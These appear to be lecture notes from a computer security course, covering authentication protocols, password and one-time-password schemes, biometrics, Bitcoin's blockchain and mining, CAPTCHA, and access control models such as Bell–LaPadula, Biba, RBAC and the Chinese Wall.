These use a trusted third party (Trent) to distribute or relay session keys. Alice asks Trent for a key to talk to Bob, Trent provides one (encrypted with Alice's secret key) along with a ticket for Bob. The ticket contains the same session key encrypted with Bob's key. It's meaningless to Alice but she can send it to Bob, who can prove that he was able to decrypt it.
Needham–Schroeder
Adds nonces to confirm that a session key is fresh. Alice asks Trent for a key to talk to Bob and includes a random number (a nonce) in the request. Trent provides the session key along with a ticket for Bob. Alice knows it's a fresh response when she decrypts the message because it contains the same nonce. Weakness: if an old session key is exposed, an attacker can replay a ticket and impersonate Alice. Vulnerable if old session keys are exposed.
Denning–Sacco
Fixes the replay problem of an attacker replaying part of the protocol using an old compromised session key by using timestamps in tickets so Bob can reject replays. Bob checks that the timestamp is recent before accepting. This blocks replays but requires synchronized clocks.
Otway–Rees
Uses a session identifier carried in every message. Nonces from Alice and Bob, plus the identifier, prove that the session is unique and fresh. No synchronized clocks are required.
Kerberos
Kerberos is a practical system that puts the Denning–Sacco idea into operation: it uses tickets combined with timestamps to prevent replay attacks. Instead of sending passwords across the network, the user authenticates once with a password-derived key to an Authentication Server (AS). The AS returns a ticket and a session key for talking to the Ticket Granting Server (TGS).
With the TGS ticket, the user can request service tickets for any server on the network. Each service ticket contains a session key for the client and the server to use. To prove freshness, the client also sends a timestamp encrypted with the session key. The server checks the timestamp and replies with T+1.
This structure allows single sign-on: after authenticating once, the user can access many services without re-entering a password. Kerberos thus combines the principles of Denning–Sacco with a scalable ticketing infrastructure suitable for enterprise networks.
Properties:
-
Tickets contain session keys.
-
Passwords never travel on the network.
-
Timestamps prevent replay.
-
Widely used in enterprise single sign-on.
Public Key Authentication
Public key cryptography removes the need for Trent. If Alice knows Bob’s public key, she can create a session key and encrypt it for Bob. Certificates bind public keys to identities, solving the problem of trust. In TLS, which we studied earlier, the server’s certificate authenticates its key. An ephemeral exchange (e.g., Diffie-Hellman) creates fresh session keys that ensure forward secrecy: past sessions remain secure even if a long-term private key is later stolen.
Password-Based Protocols
PAP (Password Authentication Protocol)
The client sends the password directly to the server. This is insecure because the password can be intercepted and reused.
CHAP (Challenge–Handshake Authentication Protocol)
The server sends the client a random value called a nonce. The client combines this nonce with its password and returns a hash of the result. The server performs the same calculation to verify it matches. The password itself never crosses the network, and replay is prevented because each challenge is different. CHAP still depends on the password being strong enough to resist guessing. Unlike challenge-based one-time passwords (covered later), CHAP relies on a static password reused across logins, not a device that generates one-time codes.
How Passwords Are Stored
Systems do not store passwords in plaintext. Instead, they store hashes: one-way transformations of the password. At login, the system hashes the candidate password and compares it to the stored value. This prevents an immediate leak of all passwords if a file is stolen, but the hashes are still vulnerable to offline guessing.
Weaknesses of Passwords
Systems do not store passwords in plaintext because that would reveal every user’s secret to anyone who obtained the file. Instead, they store hashes of passwords and compare hashes at login.
Online vs. offline guessing
Online guessing means trying passwords directly against a login prompt. Defenses include rate-limiting and account lockouts. Offline guessing happens if an attacker steals the password file; they can test guesses at unlimited speed with no lockouts, which is much more dangerous.
Dictionary attack
The attacker tries a large list of likely passwords. Online, this means repeated login attempts. Offline, it means hashing guesses and comparing against stored hashes.
Rainbow table attack
The attacker precomputes tables of password→hash pairs for a given hash function. A stolen password file can be cracked quickly with a lookup. Rainbow tables only work if hashes are unsalted.
Credential stuffing
Attackers take username/password pairs stolen from one site and try them against other services, hoping users have reused the same password.
Password spraying
Instead of many guesses against one account, attackers try one or a few common passwords across many accounts, avoiding lockouts.
Mitigations
Defenses focus on making stolen data less useful and slowing attackers.
Salts
A random value stored with each password hash. Two users with the same password will have different hashes if their salts differ. Salts make rainbow tables impractical.
Slow hashing functions
Deliberately expensive functions (bcrypt, scrypt, yescrypt) make each hash slower to compute, which hinders brute-force guessing but is barely noticeable for a user login.
Transport protection
Passwords should always travel over encrypted channels (TLS) to prevent interception.
Multi-factor authentication
A second factor (OTP, push, passkey) prevents a stolen password from being enough on its own.
Password policies
Block weak or previously breached passwords, enforce rate limits, and monitor for unusual login activity.
One-Time Passwords (OTPs)
Static passwords can be replayed. One-time password systems generate a new password for each login. The goal is to never reuse a password.
There are four main forms of one-time passwords:
-
Sequence-based: derived from repeatedly applying a one-way function.
-
Challenge-based: derived from a random challenge from the server and a shared secret.
-
Counter-based: derived from a shared counter and a secret.
-
Time-based: derived from the current time slice and a secret.
S/Key (sequence-based)
S/Key creates a sequence of values by starting from a random seed and applying a one-way function to each successive value. The server stores only the last value in the sequence. At login, the user provides the previous value, which the server can verify by applying the function once. Each login consumes one value, moving backward through the sequence. Even if an attacker sees a value, they cannot work out earlier ones because the function cannot be reversed.
Challenge-based OTP
The server issues a fresh challenge, and the user’s token or app computes a one-time response from the challenge and a secret. Replay is useless because each challenge is unique. This differs from CHAP: in CHAP the secret is a static password reused across logins, while in challenge-based OTPs the secret is stored in a device that proves possession.
HOTP (counter-based)
The server and client share a secret key and a counter. Each login uses the next counter value to generate a code with HMAC. Both sides must stay roughly in sync.
TOTP (time-based)
Like HOTP, but the counter is the current time slice (commonly 30 seconds). Codes expire quickly, making replays useless. Widely used in mobile authenticator apps (like Google Authenticator).
Multi-Factor Authentication (MFA)
MFA requires factors from different categories: something you know (password), something you have (token or phone), and something you are (biometrics).
One-time passwords (OTPs)
Codes generated by a device or app that prove you have a specific token or phone. They are short-lived and cannot be reused, making them a common possession factor.
Push notifications
Send a prompt to the user’s phone but are vulnerable to MFA fatigue, where attackers flood the user with requests hoping for one accidental approval.
Number matching
Improves push MFA by requiring the user to type in a number shown on the login screen, linking the approval to that specific login attempt.
--
Passkeys
MFA improves security but still relies on passwords as one factor, and phishing can sometimes bypass second factors. Passkeys eliminate passwords entirely. Each device generates a per-site key pair: the private key stays on the device, and the public key is stored with the service. At login, the device signs a challenge with the private key. Passkeys are unique per site, cannot be phished, and can be synchronized across devices.
Adversary-in-the-Middle Attacks
An adversary-in-the-middle sits between a client and a server, relaying and possibly altering traffic.
Defenses:
-
Use TLS to encrypt and protect the channel.
-
Verify the server with certificates to prevent impersonation.
-
Use freshness checks (nonces, timestamps, identifiers) to block replay.
-
Issue short-lived codes and tokens so intercepted data quickly expires.
-
Train users to recognize and reject suspicious prompts, such as unexpected push notifications. ˜
Week 4: Biometric authentication
Pattern Recognition and Thresholds
Biometric systems are pattern recognizers, not equality checks. Each sample is slightly different from the stored template, so the system computes a similarity score. Whether access is granted depends on a threshold: too strict, and genuine users are rejected; too loose, and impostors may slip through.
FAR, FRR, and ROC
Two common error rates define biometric performance. The False Accept Rate (FAR) is the chance an impostor is accepted. The False Reject Rate (FRR) is the chance a genuine user is denied. These trade off against each other as thresholds change.
A Receiver Operating Characteristic (ROC) plot shows this trade-off, and the Equal Error Rate is where the two curves meet.
Modalities and Features
Biometric traits may be physiological (fingerprints, iris, face) or behavioral (voice, typing rhythm, gait). Fingerprint systems look for minutiae such as ridge endings and bifurcations, while other modalities rely on different feature sets. Each trait balances robustness (how repeatable it is for the same person) against distinctiveness (how well it separates different people).
The Authentication Process
All biometric systems follow the same pipeline. During enrollment, the system captures high-quality samples to build a template. At login, the sensor records new data, and feature extraction turns it into a compact representation. Pattern matching compares this to the stored template, and the decision applies the threshold to accept or reject.
Challenges
Biometric systems face several practical challenges. Devices must be trusted, with secure data paths that cannot be tampered with.
Liveness detection is needed to block photos, prosthetics, or recordings.
Secure communication prevents injection of fake sensor data. Thresholds must be chosen carefully to balance FAR and FRR.
More fundamentally, biometrics lack compartmentalization: you cannot use a different fingerprint for each service. They do not offer true revocation once a trait is stolen.
Cooperative vs. Non-Cooperative Systems
In cooperative systems, the subject is willing and positioned correctly, as in unlocking a phone. Non-cooperative systems try to identify people at a distance or without consent, as in surveillance. These face greater challenges in data quality, error rates, and privacy.
Week 5: Hash Pointers, Blockchains, Merkle Trees, and Bitcoin
Cryptographic Foundations
Bitcoin's trust model depends on cryptographic hash functions and authenticated data structures.
A hash function such as SHA-256 converts any input into a fixed-length digest that changes unpredictably when even one bit of input changes.
Hashing enables Bitcoin to verify data integrity, detect tampering, and provide compact digital fingerprints.
A hash pointer is a pointer that also stores a hash of the referenced data.
If the data changes, the hash no longer matches, revealing tampering.
Hash pointers are used in systems such as Git, where each commit points to the hash of its parent commit.
A change in any file causes the commit hash to change, and this change propagates through history.
The blockchain uses the same idea. Each block includes the hash of the previous block's header.
If an attacker modifies one block, every later block becomes invalid because the hashes no longer align.
A Merkle tree organizes data into a binary tree of hashes.
Each internal node stores the hash of its two children, and the root hash commits to all the data below it.
Merkle trees make it possible to verify that a transaction or file is included in a dataset without retrieving everything.
They are used in many systems:
-
Git uses Merkle-like structures to record file contents.
-
BitTorrent uses them to verify downloaded file chunks.
-
Bitcoin uses them to summarize all transactions in a block with a single Merkle root.
The Double-Spending Problem
With physical cash, you cannot spend the same bill twice—once you hand it over, you no longer have it.
Digital files, however, can be copied infinitely.
Without a trusted authority to verify transactions, how do we prevent someone from sending the same bitcoin to two different people?
Traditional systems solve this with a central authority: a bank verifies that you have sufficient funds before approving a transaction.
Bitcoin solves it through its distributed ledger and consensus mechanism: all nodes maintain a complete transaction history and agree on which transactions are valid.
The Distributed Ledger
Bitcoin's ledger is not stored in one place. Instead, it is a distributed ledger: tens of thousands of nodes around the world each maintain a complete, independent copy of the entire transaction history.
This is not a fragmented database where different nodes hold different pieces.
Every participating node stores the full ledger, from the very first transaction in 2009 to the most recent block.
When a new block is added, it propagates across the network, and each node independently verifies and appends it to their local copy.
Nodes can verify they have the correct ledger by comparing block hashes with other nodes.
Because the blockchain is tamper-evident, any discrepancy in block hashes immediately reveals that someone has a corrupted or fraudulent copy.
This redundancy is central to Bitcoin's resilience.
There is no single point of failure, no server to shut down, and no organization that controls the data.
As long as even a handful of nodes remain online, the ledger persists.
The Ledger: Transactions vs. Accounts
Banking systems maintain account balances that change as money moves between accounts.
Bitcoin takes a different approach. It does not track balances but records every transaction ever made.
The current state of the system is the set of unspent transaction outputs (UTXOs).
Each Bitcoin transaction consumes prior outputs as inputs and creates new outputs that represent new ownership records.
Example:
-
Alice sends Bob 0.5 BTC. That transaction gives Bob an output worth 0.5 BTC.
-
Bob later sends Charles 0.2 BTC. His new transaction lists the output from Alice as an input. Because outputs must be spent in full, Bob also creates an output back to himself for 0.3 BTC as change.
This model ensures that:
-
Each output can be spent only once.
-
Every transaction has a clear history.
-
The sum of inputs equals or exceeds the sum of outputs (any remainder is the fee).
Keys and Addresses
Ownership and authorization in Bitcoin rely on public-key cryptography.
Each user generates a key pair:
-
The private key is secret and used to sign transactions.
-
The public key is shared so others can verify those signatures.
There are no usernames or real-world identities on the blockchain.
A user proves ownership simply by producing a valid digital signature with the correct private key.
Bitcoin uses addresses as compact, safer representations of public keys.
Addresses are derived from public keys by hashing them, adding a checksum, and encoding the result in a readable format.
They are used in transaction outputs to specify who can spend a given output.
When a recipient later spends funds, they reveal their public key and signature, allowing others to verify that it matches the address in the earlier transaction.
This system keeps participants pseudonymous while ensuring that only authorized users can spend funds.
Transactions
A Bitcoin transaction contains inputs and outputs. Inputs identify where the bitcoin comes from, and outputs identify to whom it is being transferred.
Each input references an earlier transaction output and provides a digital signature and public key as proof of ownership.
Outputs specify the recipient's address and amount.
Every input must be completely spent, so transactions often include a change output that returns excess funds to the sender.
The small difference between total inputs and outputs becomes the transaction fee, which goes to the miner who includes the transaction in a block.
When a transaction is created, it is broadcast to nearby Bitcoin nodes and propagated across the network within seconds.
Nodes independently verify each transaction by checking signatures, ensuring that referenced outputs exist and have not been spent, and validating the total value.
Once validated, transactions wait in a pool until included in a block.
Blocks and Linking
Transactions are grouped into blocks to simplify verification and synchronization.
A block bundles many transactions and links to the previous block, forming a continuous chain.
Each block has two main parts:
-
Header, which contains metadata such as the previous block hash, Merkle root, timestamp, difficulty target, and nonce.
-
Body, which lists all included transactions.
Changing any transaction alters its hash, which changes the Merkle root, the block hash, and every later block's reference.
Because each block depends on the one before it, the blockchain acts as an append-only, tamper-evident ledger.
What is Mining?
Mining is the process by which new blocks are added to the Bitcoin blockchain.
Miners are specialized nodes that collect valid transactions from the network, bundle them into a candidate block, and compete to publish that block by solving a computational puzzle.
The miner who successfully solves the puzzle first gets to add their block to the chain and receives a reward consisting of:
-
Block reward: newly created bitcoins (currently 3.125 BTC as of 2024)
-
Transaction fees: the sum of all fees from transactions included in the block
Mining serves two critical purposes:
-
It creates new bitcoins in a controlled, predictable way
-
It secures the network by making it computationally expensive to alter transaction history
Proof of Work and the Mining Puzzle
Bitcoin uses Proof of Work to determine which miner can publish the next block.
The mining puzzle requires finding a nonce (a number in the block header) such that the SHA-256 hash of the entire block header is less than a specific threshold called the target hash.
Formally: H(block header) < target hash, where H represents the SHA-256 hash function.
The target hash is a 256-bit number that determines how difficult it is to mine a new block.
The lower the target hash, the harder it is to find a valid solution.
Because hash outputs are unpredictable, miners must try billions or trillions of different nonce values until they find one that produces a hash below the target.
This process is computationally expensive but easy to verify.
Once a miner finds a valid nonce, any node can instantly verify the solution by computing a single hash.
The Difficulty Adjustment Algorithm
To keep the average time between blocks near 10 minutes, Bitcoin automatically adjusts the mining difficulty every 2016 blocks (roughly every two weeks) using the Difficulty Adjustment Algorithm.
If miners collectively produce blocks too quickly, the algorithm decreases the target hash, making the puzzle harder.
If blocks are mined too slowly, it increases the target hash, making it easier.
This self-regulating mechanism ensures that Bitcoin's block production remains stable regardless of how much mining power joins or leaves the network.
Even as miners deploy more powerful hardware, the difficulty adjusts to maintain the 10-minute average.
Mining Hardware Evolution
Bitcoin mining has evolved through several generations of hardware:
-
CPUs were first used in 2009 when anyone could mine on a regular computer.
-
GPUs (graphics cards) quickly replaced them for higher speed.
-
FPGAs (specialized programmable chips) provided greater efficiency.
-
ASICs (Application-Specific Integrated Circuits) dominate modern mining—these are custom chips built solely for SHA-256 hashing and cannot do anything else.
Because finding a valid block hash is probabilistic (like winning a lottery), individual miners often join mining pools to share both the computational work and rewards.
Each miner's chance of success is proportional to their share of the total network computing power.
Consensus and Chain Selection
Nodes always follow the longest valid chain, meaning the chain with the greatest cumulative proof of work (not necessarily the most blocks).
Bitcoin doesn't have a single central authority to decide which chain is correct.
Instead, the network uses consensus mechanisms to ensure all nodes agree on which block represents the head of the chain.
Competing Chains and Forks
When two valid blocks are found nearly simultaneously, the blockchain temporarily splits into competing chains, a situation called a fork.
Because miners are distributed globally and it takes time for blocks to propagate across the network, it's possible for a miner in Asia and a miner in Europe to both find valid blocks at nearly the same moment.
Each broadcasts their block to nearby nodes, and for a short time, different parts of the network may be working on different versions of the chain.
Most miners simply work on whichever valid block they received first.
Over the next few minutes, one branch will likely grow longer as more blocks are added to it.
Once one chain becomes longer, all honest nodes switch to that chain, and the shorter branch is abandoned.
Transactions in the abandoned blocks return to the memory pool and typically get included in future blocks on the winning chain.
This is why Bitcoin transactions are not considered truly final until several blocks have been added after them—a practice called waiting for confirmations.
While accidental forks resolve naturally within minutes, an attacker could attempt to create a competing chain deliberately to reverse a transaction.
However, the computational cost of sustaining a competing chain long enough to overtake the honest chain makes such attacks impractical.
Security and the 51% Attack
For an attacker to modify an earlier transaction, they would need to redo all proof of work from that block onward and surpass the rest of the network.
With thousands of miners contributing massive computational power, catching up is practically impossible.
An attacker who controlled more than half of the total computational power of the network could, in theory, execute a 51% attack—rewriting recent history or excluding specific transactions.
However, the cost of acquiring and operating enough hardware to do this across the global Bitcoin network is so high that such an attack is effectively infeasible in practice.
Even if an attacker succeeded, the attack would likely destroy confidence in Bitcoin, making their stolen coins worthless—a strong economic disincentive.
Mining Rewards and Economics
Each newly mined block includes one special transaction, the coinbase transaction, that creates new bitcoins from nothing.
This is how new coins enter circulation.
The initial reward in 2009 was 50 BTC per block.
Every 210,000 blocks (roughly every four years), it halves:
-
50 bitcoins for the first 4 years
-
25 bitcoins after November 28, 2012
-
12.5 bitcoins after July 9, 2016
-
6.25 bitcoins after May 11, 2020
-
3.125 bitcoins after April 20, 2024
Over time, as the block reward continues to halve, transaction fees are expected to become the main incentive for mining.
After 32 halvings, the reward will reach zero and there will be a maximum of around 21 million bitcoins in circulation.
Miners act honestly because their revenue depends on following the rules.
Any attempt to cheat or fork the chain would destroy their own reward.
This self-interest forms the backbone of Bitcoin's decentralized stability.
System Overview
Bitcoin's architecture combines four reinforcing layers:
| Layer | Purpose |
|---|---|
| Cryptography | Provides data integrity and authorization using hashes and signatures. |
| Data structures | Blockchain and Merkle trees maintain authenticated, tamper-evident storage. |
| Consensus | Proof of Work coordinates the network without central authority. |
| Economics | Block rewards and transaction fees motivate miners to act honestly. |
Key concepts in Bitcoin's design:
-
Hash functions and hash pointers make data tamper-evident
-
Merkle trees efficiently authenticate large sets of data
-
Bitcoin tracks unspent transaction outputs rather than account balances
-
The distributed ledger is maintained by tens of thousands of independent nodes
-
Double-spending is prevented through consensus and transaction verification
-
Proof of Work and the Difficulty Adjustment Algorithm regulate block creation
-
Mining secures the network and distributes new coins
-
Competing chains (forks) resolve naturally through the longest chain rule
-
The target hash determines mining difficulty
-
Economic incentives align miner behavior with network security
Together, these layers allow strangers to agree on a single version of history without a trusted intermediary.
Bitcoin's design shows how cryptography, distributed computing, and incentives can replace institutional trust with mathematical verification.
Week 6: CAPTCHA
CAPTCHA stands for Completely Automated Public Turing test to tell Computers and Humans Apart.
It was designed to identify whether a user is human or an automated program.
It is not a method of authentication but a safeguard to keep automated software from abusing online systems—flooding comment sections, registering fake accounts, spamming, or scraping data at large scale.
The technique is a reverse Turing test—a test designed to verify that the user is human rather than a machine. It takes advantage of human perception: people recognize patterns and context better than early computer vision systems. CAPTCHAs use this difference by presenting visual or auditory tasks that humans can solve easily but machines initially could not.
Early Development
The first CAPTCHA appeared in the late 1990s when AltaVista added a text distortion test to stop automated URL submissions that were skewing search results.
In 2000, researchers formalized the concept with systems that displayed distorted words or generated random text strings with background noise to confuse optical character recognition software.
These early CAPTCHAs worked because of principles from Gestalt psychology, which explains how humans interpret visual information holistically. People naturally fill in missing parts and perceive coherent patterns even in noisy, ambiguous images. Humans could still identify characters despite distortion, clutter, and missing information, while algorithms could not.
Why CAPTCHA Is Still Used
Even with improved security models, websites still need quick ways to detect automation. CAPTCHAs help maintain the integrity and usability of online systems by:
-
Blocking automated abuse: stopping bots that send spam, fill forms, or brute-force passwords.
-
Protecting limited resources: ensuring fair access to trials, API keys, and rate-limited services.
-
Preserving data quality: keeping analytics, polls, and surveys from being polluted by automated input.
-
Maintaining fairness: reducing automated ticket purchases or reservation bots that crowd out real users.
While CAPTCHAs no longer stop every attack, they remain effective at filtering out basic automation.
Problems and Limitations
Over time, the weaknesses of CAPTCHA became apparent:
-
Accessibility: Distorted text is difficult for users with limited vision. Audio CAPTCHAs are often hard to understand.
-
User frustration: Complex puzzles disrupt interaction and are especially inconvenient on phones.
-
Human outsourcing: So-called CAPTCHA farms employ people to solve puzzles on behalf of bots in real time.
-
Improved AI: Machine learning, OCR, and image recognition now solve traditional CAPTCHAs reliably. By the mid-2010s, artificial intelligence could outperform humans at reading distorted text, ending the human advantage.
The result is an arms race: stronger CAPTCHAs frustrate humans more but still fail against advanced bots.
Evolution of CAPTCHA Systems
Text-based CAPTCHAs
Early systems displayed distorted words that humans could read but OCR software could not. Some versions used this human effort productively by having users transcribe text from scanned books that computers couldn't reliably read.
Image-based CAPTCHAs
As text recognition improved, systems shifted to visual recognition tasks:
-
Identifying which images in a grid match a description (e.g., "select all images with bridges")
-
Selecting parts of an image that contain specific objects
-
Dynamic systems that replace images after each click
These image-based puzzles used real-world photos to improve object-labeling accuracy while providing more challenging tests for bots.
Behavioral Analysis (NoCAPTCHA reCAPTCHA)
Modern systems moved away from explicit puzzles to analyzing user behavior.
NoCAPTCHA reCAPTCHA (v2): Introduced a simple checkbox ("I'm not a robot") combined with background analysis of:
-
Browser cookies and session data
-
Mouse movement patterns and timing
-
Click behavior and page interaction
A high confidence score lets users through instantly; low confidence triggers a fallback image puzzle.
Invisible verification: Completely removes user interaction. The system tracks behavior throughout a session and generates a trust score (0 to 1) indicating likelihood the user is human. Websites decide how to respond based on this score.
This approach reduced friction but raised privacy concerns about extensive behavioral tracking.
The AI Threat
By the 2020s, advances in AI nearly eliminated the distinctions between human and automated behavior:
-
In 2024, researchers demonstrated that image-based CAPTCHAs could be defeated with 100% accuracy using object-recognition models and simulated mouse motion.
-
AI agents have passed human verification tests through realistic behavioral mimicry—moving cursors naturally, clicking, and waiting—without solving any puzzles.
Modern AI can convincingly mimic human behavior, erasing the distinction that CAPTCHAs rely on.
New Approaches and Threats
IllusionCAPTCHA
Uses AI-generated optical illusions that people can interpret but current AI systems cannot. Humans passed these tests about 83% of the time; AI models failed completely. This leverages a new asymmetry: humans remain better at interpreting perceptual illusions.
Fake CAPTCHAs as Attacks
Attackers have used imitation CAPTCHA boxes to trick users into running malicious scripts. Fake "I am not a robot" messages have been used to execute hidden commands or install malware, turning a trusted security mechanism into a social engineering vector.
Alternative Verification Methods
Other approaches include:
-
Email or SMS verification: one-time codes sent to known addresses
-
Timing analysis: tracking natural irregularities in human typing and form completion
These methods supplement but don't replace CAPTCHAs and can still be circumvented.
Biometric Verification
As AI becomes indistinguishable from human users, some systems have shifted to physical identity verification using biometric data (such as iris scans) to create cryptographic proof of personhood.
This approach moves from perception-based tests to cryptographic guarantees that a real human is behind an interaction.
However, biometric verification raises significant concerns:
-
Privacy: Biometric data is permanent—unlike passwords, you cannot change it if compromised
-
Surveillance: Centralized databases could enable mass tracking
-
Consent: Biometric verification could become mandatory in some contexts
-
Security: Biometric databases are high-value targets for attackers
The Future of Human Verification
CAPTCHA worked by finding something humans did better than computers. That distinction is disappearing.
Future verification will likely depend on:
-
Behavioral biometrics: tracking natural motion, typing rhythm, and touch interaction patterns
-
Contextual analysis: linking activity to known devices, networks, and usage patterns
-
Cryptographic identity: using verifiable, privacy-preserving tokens that prove an action originates from a legitimate person
The challenge has shifted from proving "I am human" to proving "I am a trustworthy participant."
Week 6: Access Control
Underlying Protection Mechanisms for Access Control
Before studying access control models, it helps to understand the hardware and operating system features that make them possible.
The operating system enforces access control by managing both software and hardware resources. It allocates CPU time through the scheduler, ensuring that no process monopolizes the processor and that all processes get a fair chance to run. It configures the hardware timer, which generates periodic interrupts so the operating system can regain control of the CPU—this enables preemptive multitasking.
It also manages the Memory Management Unit (MMU), setting up each process’s page tables to define what regions of memory it can read, write, or execute. The MMU translates a process’s virtual addresses into physical memory and prevents one process from accessing another’s data.
Processors support at least two privilege levels:
-
Kernel mode (privileged): used by the operating system to execute sensitive instructions, modify memory mappings, and handle interrupts.
-
User mode (unprivileged): used by applications, which must request system services through controlled system calls.
These mechanisms ensure that untrusted code cannot modify the kernel or access protected resources directly. They provide the foundation on which all access control models -- discretionary, mandatory, and role-based -- are built.
Access control
Access control defines what authenticated users and processes are allowed to do. Its purpose is to preserve confidentiality, integrity, and availability by enforcing consistent rules for access to information and system resources.
Different models evolved as computing environments became larger and more complex. Each model solves specific problems but introduces new trade-offs.
The main models are Discretionary Access Control (DAC), Mandatory Access Control (MAC), Role-Based Access Control (RBAC), Attribute-Based Access Control (ABAC), and the Chinese Wall model.
The Access Control Matrix
Access control can be represented as a matrix showing which subjects (users or processes) have which rights over which objects (files, directories, or devices). Although the matrix is a conceptual model, it underlies nearly all practical access control mechanisms.
Two common implementations are:
-
Access Control Lists (ACLs): permissions stored with each object.
-
Capabilities: permissions stored with each subject.
This model inspired later systems such as UNIX file permissions and modern ACL-based operating systems.
Discretionary Access Control (DAC)
Discretionary Access Control gives control to the owner of an object. The owner decides who else can access it and what operations they may perform.
This model encourages sharing but relies heavily on user behavior and trust.
The UNIX / POSIX Model
UNIX and POSIX systems (e.g., Linux, macOS, Android, and the various flavors of BSD) implement DAC through file ownership, groups, and permission bits. Each file has an owner, an owning group, and three sets of permissions for the owner, group, and others.
Permissions are represented by three bits for each category: read (r), write (w), and execute (x).
For example, rwxr-xr-- means the owner can read, write, and execute; the group can read and execute; others can read only.
The chmod command changes permissions, chown changes ownership, and chgrp changes the owning group.
A user’s umask defines which permissions are removed from newly created files, preventing overly permissive defaults.
Each process runs with a real user ID (ruid) and an effective user ID (euid), which determine ownership and access rights.
UNIX uses the setuid and setgid bits to let certain programs temporarily assume the privileges of the file’s owner or group. This is useful for programs that must perform privileged actions, such as changing a password, but it is also risky. Any vulnerability in a setuid program can grant attackers full system privileges.
Modern Linux systems support extended attributes (ACLs), which provide more flexible per-user or per-group permissions than the simple owner-group-other model.
Principle of Least Privilege and Privilege Separation
DAC systems rely on careful assignment of permissions. The principle of least privilege states that each user or process should have only the permissions necessary to complete its task.
Privilege separation divides a program into privileged and unprivileged parts so that most operations run with minimal authority.
For example, a web server may start as root only to bind to a port, then drop privileges for normal operation.
Weaknesses of DAC
DAC is easy to administer and flexible but insecure for high-assurance environments. Users can share data freely, and malicious software can exploit user privileges to leak or destroy data.
DAC cannot enforce consistent organizational or system-wide policies.
Mandatory Access Control (MAC)
Mandatory Access Control enforces a system-wide security policy that users cannot override.
Both subjects and objects have security labels, and access decisions depend on comparing these labels. Users are assigned clearance levels, and resources are assigned classification levels.
This model was originally developed for military and intelligence systems that required strict confidentiality.
Bell–LaPadula Model (Confidentiality)
The Bell–LaPadula (BLP) model is the foundation of what is known as multilevel security (MLS).
In an MLS system, both users (subjects) and data (objects) are labeled with levels such as Unclassified, Confidential, Secret, and Top Secret.
Access decisions depend on these relative levels, enforcing “no read up” and “no write down” to prevent data from flowing from higher to lower classifications.
The Bell–LaPadula model ensures confidentiality through two main rules:
-
Simple Security Property: no read up. A subject cannot read information above its clearance level.
-
Star (★) Property: no write down. A subject cannot write information to a lower classification level.
A third rule, the Discretionary Security Property, allows normal access control lists within the bounds of the mandatory policy.
This ensures information flows only upward in classification, preserving confidentiality.
Weaknesses: The model protects secrecy but not integrity. It also makes collaboration difficult since data cannot be shared downward without special downgrading mechanisms.
Multilateral Security and the Lattice Model
Organizations often require boundaries between peers at the same classification level. Multilateral security extends Bell–LaPadula by dividing each level into compartments, which represent separate projects, missions, or domains of information. A user must have both the appropriate clearance and authorization for the relevant compartment.
For example:
-
A file labeled
{Top Secret, Nuclear}can be accessed only by users cleared for Top Secret and authorized for the Nuclear compartment. -
Another file labeled
{Top Secret, Signals}requires authorization for the Signals compartment. -
A user cleared for
{Top Secret, Nuclear}cannot read{Top Secret, Signals}data even though both are Top Secret.
This approach enforces the need-to-know principle, ensuring that access within the same classification level is limited to those who require it for their duties.
The lattice model formally defines the relationship between classifications and compartments.
Label A dominates label B if its classification level is greater than or equal to B’s and its compartments include those of B. Information can only flow upward in this lattice.
Weaknesses: This approach enforces strong confidentiality but is complex to administer. Managing compartments and clearances becomes difficult at scale, and cross-compartment collaboration is often restricted.
Biba Model (Integrity)
The Biba model complements Bell–LaPadula by protecting data integrity instead of secrecy. It reverses the BLP rules:
-
Simple Integrity Property: no read down. A high-integrity process cannot read low-integrity data.
-
Star (★) Integrity Property: no write up. A low-integrity process cannot modify high-integrity data.
This ensures that untrusted input cannot corrupt trusted data or processes. Biba models appear in applications where data accuracy matters more than confidentiality, such as medical or financial systems.
Microsoft Mandatory Integrity Control implements a simplified version of Biba in Windows.
It labels processes and objects as Low, Medium, High, or System integrity and enforces a no write up rule. Microsoft Mandatory Integrity Control prevents low-integrity programs like browsers from altering system files. Later versions of Windows integrated it into the AppContainer framework, combining it with capability-based restrictions.
Weaknesses: Biba models may block legitimate data flow and are rarely practical for general-purpose systems. Like Bell–LaPadula, they are most effective in specialized environments.
Type Enforcement (SELinux)
Type Enforcement provides a practical way to apply MAC in general-purpose systems.
Processes run in domains, and files and resources are labeled with types.
A policy defines which domains may access which types and how.
For example, a web server in domain httpd_t may read only files labeled httpd_sys_content_t.
This prevents compromised software from affecting other parts of the system.
Type Enforcement forms the basis of SELinux, SEAndroid, and similar systems. It allows fine-grained control and isolation but can be difficult to configure and audit.
Type Enforcement provides the strongest form of containment in modern UNIX systems and remains the most practical way to apply MAC in general-purpose environments.
Role-Based Access Control (RBAC)
RBAC shifts control from individual users to organizational roles. Permissions are assigned to roles, and users acquire permissions by being assigned to roles.
A user may activate one or more roles during a session, depending on the task. A user’s effective permissions are determined by the roles that are active in that session; inactive roles contribute no privileges.
Roles correspond to job functions such as Doctor, Nurse, Manager, or Auditor.
This model scales well in large organizations where many users perform similar tasks.
Role hierarchies allow senior roles to inherit permissions from junior ones.
Constraints enforce separation of duties, ensuring that no single person can perform conflicting actions such as initiating and approving a transaction.
RBAC fits naturally with business structures and enables consistent policy enforcement across systems. It is used in databases, enterprise directories, and cloud identity management.
Weaknesses: RBAC works well for static organizations but cannot express context such as time, location, or risk level. Large deployments may suffer from role explosion when too many narrowly defined roles are created.
Attribute-Based Access Control (ABAC)
ABAC extends RBAC by using attributes instead of fixed roles to make access decisions. Attributes describe properties of users, objects, and the environment, allowing flexible and context-sensitive control.
An example policy might be:
Allow access if the user's department equals the object's department and the request occurs during business hours.
Example Attributes
-
User attributes: department, clearance, role, device security level
-
Object attributes: classification, owner, project
-
Environmental attributes: time, location, authentication strength
ABAC policies are evaluated and enforced by distributed policy engines, often across multiple systems in large-scale environments.
They allow dynamic conditions but can be complex to test and manage.
Cloud platforms such as AWS IAM and Google Cloud use ABAC-style rules to refine role-based access.
Weaknesses: ABAC offers flexibility but poor transparency.
Policies may interact in unexpected ways, and administrators may find it difficult to reason about all possible conditions.
The Chinese Wall Model
The Chinese Wall model handles conflicts of interest in consulting, law, and finance.
Access depends on a user’s history, not just attributes or roles.
Once a user accesses data for one client, the system prevents access to competing clients’ data within the same conflict class.
For example, a consulting firm may define:
-
Beverage class: {Coca-Cola, PepsiCo, Keurig Dr Pepper}
-
Airline class: {United, Delta, JetBlue, American Airlines, Alaska Airlines}
